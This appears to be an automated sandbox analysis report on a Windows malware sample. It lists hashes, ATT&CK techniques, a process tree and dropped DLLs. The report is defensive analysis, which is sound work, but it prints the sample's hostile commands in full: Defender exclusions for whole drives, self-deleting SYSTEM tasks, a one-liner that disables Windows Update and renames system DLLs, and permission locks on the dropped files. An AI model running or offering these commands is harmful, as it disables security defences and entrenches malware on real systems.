415595d84a1ab9d50b6fd00028bb920357d281a5d4bee55ad02c1f54883231c4

Analysis

max time kernel
151s
max time network
160s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260911-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
09/11/2026, 22:41

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2026-11-09_a431ae06eb1fce03a22316f7b0b3375e_cobalt-strike_coinminer_glassworm_icedid_poet-rat_vidar.exe
Size 35.7MB
Sample261109-2l28zswtay
SHA256 415595d84a1ab9d50b6fd00028bb920357d281a5d4bee55ad02c1f54883231c4
MD5 a431ae06eb1fce03a22316f7b0b3375e
SHA1 6f7db5499e33c2055b9df44f6713fa635404d77a
SHA512 2f54975f5f719e4dfea8e7ca126c62765f72f6800d034c29e24692e68743b0bd3bf5f619b16a73837114b98fb0d7a1a5a1dad49ad5654a4143a0e63f948191a0
SSDEEP 98304:WFoG4QOye2FHAQfMArIeBTg07h27e09X6rS+BVcruRYk7VCXWxR:WMQh3fMArbdR
TLSH
T1EA870C427742D962D8540A7B8C9ADBC82371FD8AEE06630738C6772F2EB66C7DD03495
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

defense_evasion discovery execution persistence

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
4404	powershell.exe

Disables service(s) 3 TTPs
defense_evasion execution

Windows Service
T1543.003

Service Stop
T1489

Service Execution
T1569.002

Executes dropped EXE 1 IoCs

pid	Process
3780	la5MUJ.exe

Loads dropped DLL 1 IoCs

pid	Process
3780	la5MUJ.exe

Modifies file permissions 1 TTPs 8 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
2620	icacls.exe
2360	icacls.exe
5560	icacls.exe
3932	icacls.exe
1516	icacls.exe
5276	icacls.exe
4636	icacls.exe
2476	icacls.exe

Indicator Removal: Clear Persistence 1 TTPs 6 IoCs

Clear artifacts associated with previously established persistence like scheduletasks on a host.

defense_evasion

Clear Persistence

T1070.009

pid	Process
484	cmd.exe
4500	cmd.exe
3980	cmd.exe
1696	cmd.exe
2708	cmd.exe
3276	cmd.exe

Launches sc.exe 4 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
3392	sc.exe
2548	sc.exe
5296	sc.exe
4852	sc.exe

Executes a command shell one-liner 1 TTPs 12 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
5280	cmd.exe
2248	cmd.exe
2064	cmd.exe
1524	cmd.exe
4300	cmd.exe
3964	cmd.exe
4592	cmd.exe
940	cmd.exe
1488	cmd.exe
2296	cmd.exe
3000	cmd.exe
2260	cmd.exe

Reads the TCP/IP host and domain name from the registry 1 TTPs 2 IoCs

The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

discovery

System Network Configuration Discovery

T1016

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	2026-11-09_a431ae06eb1fce03a22316f7b0b3375e_cobalt-strike_coinminer_glassworm_icedid_poet-rat_vidar.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	2026-11-09_a431ae06eb1fce03a22316f7b0b3375e_cobalt-strike_coinminer_glassworm_icedid_poet-rat_vidar.exe

Runs net.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
3336	schtasks.exe
3036	schtasks.exe
200	schtasks.exe
5048	schtasks.exe
4924	schtasks.exe

Suspicious behavior: EnumeratesProcesses 54 IoCs

pid	Process
4784	2026-11-09_a431ae06eb1fce03a22316f7b0b3375e_cobalt-strike_coinminer_glassworm_icedid_poet-rat_vidar.exe
4784	2026-11-09_a431ae06eb1fce03a22316f7b0b3375e_cobalt-strike_coinminer_glassworm_icedid_poet-rat_vidar.exe
4784	2026-11-09_a431ae06eb1fce03a22316f7b0b3375e_cobalt-strike_coinminer_glassworm_icedid_poet-rat_vidar.exe
4784	2026-11-09_a431ae06eb1fce03a22316f7b0b3375e_cobalt-strike_coinminer_glassworm_icedid_poet-rat_vidar.exe
4784	2026-11-09_a431ae06eb1fce03a22316f7b0b3375e_cobalt-strike_coinminer_glassworm_icedid_poet-rat_vidar.exe
4784	2026-11-09_a431ae06eb1fce03a22316f7b0b3375e_cobalt-strike_coinminer_glassworm_icedid_poet-rat_vidar.exe
4784	2026-11-09_a431ae06eb1fce03a22316f7b0b3375e_cobalt-strike_coinminer_glassworm_icedid_poet-rat_vidar.exe
4784	2026-11-09_a431ae06eb1fce03a22316f7b0b3375e_cobalt-strike_coinminer_glassworm_icedid_poet-rat_vidar.exe
4784	2026-11-09_a431ae06eb1fce03a22316f7b0b3375e_cobalt-strike_coinminer_glassworm_icedid_poet-rat_vidar.exe
4784	2026-11-09_a431ae06eb1fce03a22316f7b0b3375e_cobalt-strike_coinminer_glassworm_icedid_poet-rat_vidar.exe
4784	2026-11-09_a431ae06eb1fce03a22316f7b0b3375e_cobalt-strike_coinminer_glassworm_icedid_poet-rat_vidar.exe
4784	2026-11-09_a431ae06eb1fce03a22316f7b0b3375e_cobalt-strike_coinminer_glassworm_icedid_poet-rat_vidar.exe
4784	2026-11-09_a431ae06eb1fce03a22316f7b0b3375e_cobalt-strike_coinminer_glassworm_icedid_poet-rat_vidar.exe
4784	2026-11-09_a431ae06eb1fce03a22316f7b0b3375e_cobalt-strike_coinminer_glassworm_icedid_poet-rat_vidar.exe
4784	2026-11-09_a431ae06eb1fce03a22316f7b0b3375e_cobalt-strike_coinminer_glassworm_icedid_poet-rat_vidar.exe
4784	2026-11-09_a431ae06eb1fce03a22316f7b0b3375e_cobalt-strike_coinminer_glassworm_icedid_poet-rat_vidar.exe
4784	2026-11-09_a431ae06eb1fce03a22316f7b0b3375e_cobalt-strike_coinminer_glassworm_icedid_poet-rat_vidar.exe
4784	2026-11-09_a431ae06eb1fce03a22316f7b0b3375e_cobalt-strike_coinminer_glassworm_icedid_poet-rat_vidar.exe
4784	2026-11-09_a431ae06eb1fce03a22316f7b0b3375e_cobalt-strike_coinminer_glassworm_icedid_poet-rat_vidar.exe
4784	2026-11-09_a431ae06eb1fce03a22316f7b0b3375e_cobalt-strike_coinminer_glassworm_icedid_poet-rat_vidar.exe
4784	2026-11-09_a431ae06eb1fce03a22316f7b0b3375e_cobalt-strike_coinminer_glassworm_icedid_poet-rat_vidar.exe
4784	2026-11-09_a431ae06eb1fce03a22316f7b0b3375e_cobalt-strike_coinminer_glassworm_icedid_poet-rat_vidar.exe
4784	2026-11-09_a431ae06eb1fce03a22316f7b0b3375e_cobalt-strike_coinminer_glassworm_icedid_poet-rat_vidar.exe
4784	2026-11-09_a431ae06eb1fce03a22316f7b0b3375e_cobalt-strike_coinminer_glassworm_icedid_poet-rat_vidar.exe
4784	2026-11-09_a431ae06eb1fce03a22316f7b0b3375e_cobalt-strike_coinminer_glassworm_icedid_poet-rat_vidar.exe
4784	2026-11-09_a431ae06eb1fce03a22316f7b0b3375e_cobalt-strike_coinminer_glassworm_icedid_poet-rat_vidar.exe
4784	2026-11-09_a431ae06eb1fce03a22316f7b0b3375e_cobalt-strike_coinminer_glassworm_icedid_poet-rat_vidar.exe
4784	2026-11-09_a431ae06eb1fce03a22316f7b0b3375e_cobalt-strike_coinminer_glassworm_icedid_poet-rat_vidar.exe
4784	2026-11-09_a431ae06eb1fce03a22316f7b0b3375e_cobalt-strike_coinminer_glassworm_icedid_poet-rat_vidar.exe
4784	2026-11-09_a431ae06eb1fce03a22316f7b0b3375e_cobalt-strike_coinminer_glassworm_icedid_poet-rat_vidar.exe
4784	2026-11-09_a431ae06eb1fce03a22316f7b0b3375e_cobalt-strike_coinminer_glassworm_icedid_poet-rat_vidar.exe
4784	2026-11-09_a431ae06eb1fce03a22316f7b0b3375e_cobalt-strike_coinminer_glassworm_icedid_poet-rat_vidar.exe
3780	la5MUJ.exe
3780	la5MUJ.exe
3780	la5MUJ.exe
3780	la5MUJ.exe
3780	la5MUJ.exe
3780	la5MUJ.exe
3780	la5MUJ.exe
3780	la5MUJ.exe
3780	la5MUJ.exe
3780	la5MUJ.exe
3780	la5MUJ.exe
3780	la5MUJ.exe
3780	la5MUJ.exe
3780	la5MUJ.exe
3780	la5MUJ.exe
3780	la5MUJ.exe
3780	la5MUJ.exe
3780	la5MUJ.exe
3780	la5MUJ.exe
3780	la5MUJ.exe
3780	la5MUJ.exe
3780	la5MUJ.exe

Suspicious behavior: LoadsDriver 4 IoCs

pid	Process
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\2026-11-09_a431ae06eb1fce03a22316f7b0b3375e_cobalt-strike_coinminer_glassworm_icedid_poet-rat_vidar.exe
"C:\Users\Admin\AppData\Local\Temp\2026-11-09_a431ae06eb1fce03a22316f7b0b3375e_cobalt-strike_coinminer_glassworm_icedid_poet-rat_vidar.exe"
1⤵
- Reads the TCP/IP host and domain name from the registry
- Suspicious behavior: EnumeratesProcesses
PID:4784

C:\Users\Public\4VhOaq\la5MUJ.exe
"C:\Users\Public\4VhOaq\la5MUJ.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
PID:3780
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\ProgramData','C:\Users','C:\Program Files (x86)','C:\' -Force
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:4404
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\4VhOaq\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  PID:3980
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\4VhOaq\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:3336
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:4500
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:4284
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  PID:1696
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:3036
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:2504
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:1384
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  PID:2708
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:200
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:4536
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:5796
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  PID:3276
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:5048
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:4776
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:3196
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  PID:484
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4924
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:3360
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:3132
- C:\Program Files (x86)\atkmX9\atkmX9.exe
  "C:\Program Files (x86)\atkmX9\atkmX9.exe"
  2⤵
  PID:2016
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c echo.>c:\xxxx.ini
    3⤵
    - Executes a command shell one-liner
    PID:2064
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c echo.>c:\xxxx.ini
    3⤵
    - Executes a command shell one-liner
    PID:1524
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" cmd.exe /q /c "@echo off & (for %i in (wuauserv UsoSvc uhssvc WaaSMedicSvc) do ( net stop %i >nul 2>&1 & sc config %i start= disabled >nul 2>&1 & sc failure %i reset= 0 actions= "" >nul 2>&1 )) & (for %i in (WaaSMedicSvc wuaueng) do ( takeown /f C:\Windows\System32\%i.dll >nul 2>&1 & icacls C:\Windows\System32\%i.dll /grant *S-1-1-0:F >nul 2>&1 & rename C:\Windows\System32\%i.dll %i_BAK.dll >nul 2>&1 & icacls C:\Windows\System32\%i_BAK.dll /setowner "NT SERVICE\TrustedInstaller" >nul 2>&1 & icacls C:\Windows\System32\%i_BAK.dll /remove *S-1-1-0 >nul 2>&1 )) & reg add "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /v Start /t REG_DWORD /d 4 /f >nul 2>&1 & reg add "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /v FailureActions /t REG_BINARY /d 000000000000000000000000030000001400000000000000c0d4010000000000e09304000000000000000000 /f >nul 2>&1 & reg add "HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU" /v NoAutoUpdate /t REG_DWORD /d 1 /f >nul 2>&1 & erase /f /s /q c:\windows\softwaredistribution\*.* >nul 2>&1 & rmdir /s /q c:\windows\softwaredistribution >nul 2>&1 & powershell -NoProfile -WindowStyle Hidden -Command "& {Get-ScheduledTask -TaskPath '\Microsoft\Windows\InstallService\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\UpdateOrchestrator\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\UpdateAssistant\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\WaaSMedic\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\WindowsUpdate\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\WindowsUpdate\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue;}" >nul 2>&1"
    3⤵
    - Executes a command shell one-liner
    PID:4300
  - - C:\Windows\SysWOW64\net.exe
      net stop wuauserv
      4⤵
      PID:3244
  - - C:\Windows\SysWOW64\sc.exe
      sc failure UsoSvc reset= 0 actions= ""
      4⤵
      Launches sc.exe
      PID:3392
  - - C:\Windows\SysWOW64\sc.exe
      sc failure uhssvc reset= 0 actions= ""
      4⤵
      Launches sc.exe
      PID:4852
  - - C:\Windows\SysWOW64\net.exe
      net stop WaaSMedicSvc
      4⤵
      PID:4680
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop WaaSMedicSvc
        5⤵
        
        PID:4232
  - - C:\Windows\SysWOW64\sc.exe
      sc config WaaSMedicSvc start= disabled
      4⤵
      Launches sc.exe
      PID:5296
  - - C:\Windows\SysWOW64\sc.exe
      sc failure WaaSMedicSvc reset= 0 actions= ""
      4⤵
      Launches sc.exe
      PID:2548
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\Windows\System32\WaaSMedicSvc_BAK.dll /setowner "NT SERVICE\TrustedInstaller"
      4⤵
      Modifies file permissions
      PID:2476
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\atkmX9\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
    3⤵
    - Indicator Removal: Clear Persistence
    PID:4500
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\atkmX9\atkmX9.exe" /grant:r Users:(RX) /deny Users:(DE)
    3⤵
    - Executes a command shell one-liner
    PID:2296
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\atkmX9\atkmX9.exe" /grant:r Users:(RX) /deny Users:(DE)
      4⤵
      Modifies file permissions
      PID:4636
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\atkmX9\image.png" /inheritance:r
    3⤵
    - Executes a command shell one-liner
    PID:3964
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\atkmX9\image.png" /inheritance:r
      4⤵
      Modifies file permissions
      PID:5276
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\atkmX9\image.png" /grant:r Users:(RX) /deny Users:(DE)
    3⤵
    - Executes a command shell one-liner
    PID:4592
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\atkmX9\thumbs.db" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Executes a command shell one-liner
    PID:3000

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\4VhOaq" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
PID:940
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\4VhOaq" /t REG_DWORD /d 0 /f
  2⤵
  PID:5288

C:\Windows\system32\cmd.exe
cmd.exe
1⤵
PID:2004

C:\Users\Public\4VhOaq\la5MUJ.exe
"C:\Users\Public\4VhOaq\la5MUJ.exe"
1⤵
PID:3644

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
PID:1488
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
  2⤵
  PID:3412

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
PID:2260
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
  2⤵
  PID:4652

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
PID:5280
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
  2⤵
  PID:6012

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
PID:2248
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
  2⤵
  PID:4376

C:\Program Files (x86)\atkmX9\atkmX9.exe
"C:\Program Files (x86)\atkmX9\atkmX9.exe"
1⤵
PID:5600

C:\Program Files (x86)\LF8izJZ2k\3jAbP1.exe
"C:\Program Files (x86)\LF8izJZ2k\3jAbP1.exe"
1⤵
PID:6104

C:\Windows\SysWOW64\icacls.exe
icacls "C:\Program Files (x86)\atkmX9" /inheritance:r
1⤵
- Modifies file permissions
PID:3932

C:\Windows\SysWOW64\icacls.exe
icacls "C:\Program Files (x86)\atkmX9" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
1⤵
- Modifies file permissions
PID:1516

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop uhssvc
1⤵
PID:4164

C:\Windows\SysWOW64\icacls.exe
icacls "C:\Program Files (x86)\atkmX9\thumbs.db" /inheritance:r
1⤵
- Modifies file permissions
PID:2620

C:\Windows\SysWOW64\icacls.exe
icacls "C:\Program Files (x86)\atkmX9\thumbs.db" /grant:r Users:(RX) /deny Users:(DE)
1⤵
- Modifies file permissions
PID:2360

C:\Windows\SysWOW64\icacls.exe
icacls "C:\Program Files (x86)\atkmX9\XPSPLOG.dll" /inheritance:r
1⤵
- Modifies file permissions
PID:5560

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

System Services

T1569

Service Execution

T1569.002

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

File and Directory Permissions Modification

T1222

Indicator Removal

T1070

Clear Persistence

T1070.009

Credential Access

Discovery

Query Registry

T1012

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

XPSPLOG.dll

Path C:\Program Files (x86)\LF8izJZ2k\XPSPLOG.dll
Size 96KB
SHA256 9159134a404bdd530f1a9244edd395406b1372fc43cdaf8f11ccb86cad431cf4
MD5 99bd8f2340407b517b165c23ec8c525f
SHA1 2c46aa2a9f2efa09f41370216692454153d09c55
SHA512 fdb2d9a17375c508edb4d9fd578faf3fe50151a4d8f1b248dc102ff8ea4b3fc43292b191c18c1deca5debc651454fd6cd5abdb5fcbdb82b8ac74566076d4d63b
SSDEEP 1536:o2gRD26twkyYSle/qhRZi/IaefvxLhHOdX0D15tCXfR4tB3CFaklEeMXSrse+btH:VuDVfyYAkejiAJphPDdCpcB3CFtM+qH
TLSH
T106A3029583DA0E19F140B875190DEA1DBBB756B8419B4E08CCAAB4C6DC78798307F6CE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

image.png

Path C:\Program Files (x86)\LF8izJZ2k\image.png
Size 332KB
SHA256 45292d8364662cce3a8b540169ceb3d007015a2dfc84955fdbccd4c8760c344e
MD5 51578018d9d11cb8365be77c3953f9f6
SHA1 1b8881dedcea9156d2d3bf36d57cc48b3b6595ed
SHA512 3c59f31ea15894e2eecdc5ad3bf98bfddd807bcb10ed53b3b913d535e17c4f4dc32f97060d50bfb46b1e8546dec42189dc3d7633e7d0a047e2904b79650897a1
SSDEEP 6144:r+V4yNG2zkYXCOHU3sGLZTNHgrrEhU37HsoZsUoU9dNsLA9cmuE4Lq9SbWr0Qays:r0Q2dXCOHU3sGLZ5krJHNWPUH2ZrbWCp
TLSH
T1E474220FDAA62EAD94C1F01B91074CD0772E97A1C1C53D7560A6BE2AFE1811FF09A17E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

XPSPLOG.dll

Path C:\Program Files (x86)\atkmX9\XPSPLOG.dll
Size 199KB
SHA256 f532ba000198229fb0122121cdccd81ccebacb2384379bbe1588520610815ef5
MD5 e5b4c755575b3df03c04f6bf221fc285
SHA1 46e39f75ba6e32fb1b51870ed9eeacddcc927111
SHA512 a112912b54b3d00df92c2bbe535f980f2df1b5181efbb9a6d1d5395c03ae22261ead42fbc2322ac76402ceeff219ef359162aa6c207ee008fbbfd1e9ba5c50da
SSDEEP 3072:VuDVfyYAkejiAJphPDdCpcB3CFtM+qOuF6cdmFyrf/snch8O1E4t6HnkyHk9Nk6y:VGfQzVDspcR5LOuFQyDsy8OOnk8oNkn
TLSH
T14B1412E153D70D1EEE4178315E4CBAAC76FA7AFC468A8D1994C5B0C698762F1203C9C7
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

XPSPLOG.dll

Path C:\Program Files (x86)\atkmX9\XPSPLOG.dll
Size 187KB
SHA256 e8959c4b407bff475c899682fe930fc7f723d61ae5811e691e371e1700118254
MD5 2d4746157acabd328899a284d5de4423
SHA1 192111278d0c27870b2303e69e723d95b1a0e162
SHA512 7b1096e5a96e9cb9af2613ecb1cbec25f5db05e77c7345fb602845a0f6e291d37ffc81838059f4cb60e47a873056573ab5575fda6af357f2029c7ebab61024b2
SSDEEP 3072:VuDVfyYAkejiAJphPDdCpcB3CFtM+qOuF6cdmFyrf/snch8O1E4t6HnkyHk9Ny:VGfQzVDspcR5LOuFQyDsy8OOnk8oNy
TLSH
T1211412D143D71D1AEE003D705A4CB96C76FBAAFC468A8D15D8C5B0C7987A2E1303D9CA
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

XPSPLOG.dll

Path C:\Program Files (x86)\atkmX9\XPSPLOG.dll
Size 156KB
SHA256 bd6cbab49805e6987a7b6b34a781de2e86a1e9312501c5a21e212bedb47f74c8
MD5 fc062863521c36911f1acde21937036e
SHA1 eed1e8d7f9b4556b53673b208f84a43ab978e4dc
SHA512 9aa998660cf1caf8d3bdc88027f5ae402c6ed4e6a8bb3c728b58024aaf77256c3e63f11db351ced6b760148d6ee8b9b79ec470fd2cd712f6a291158484913cdd
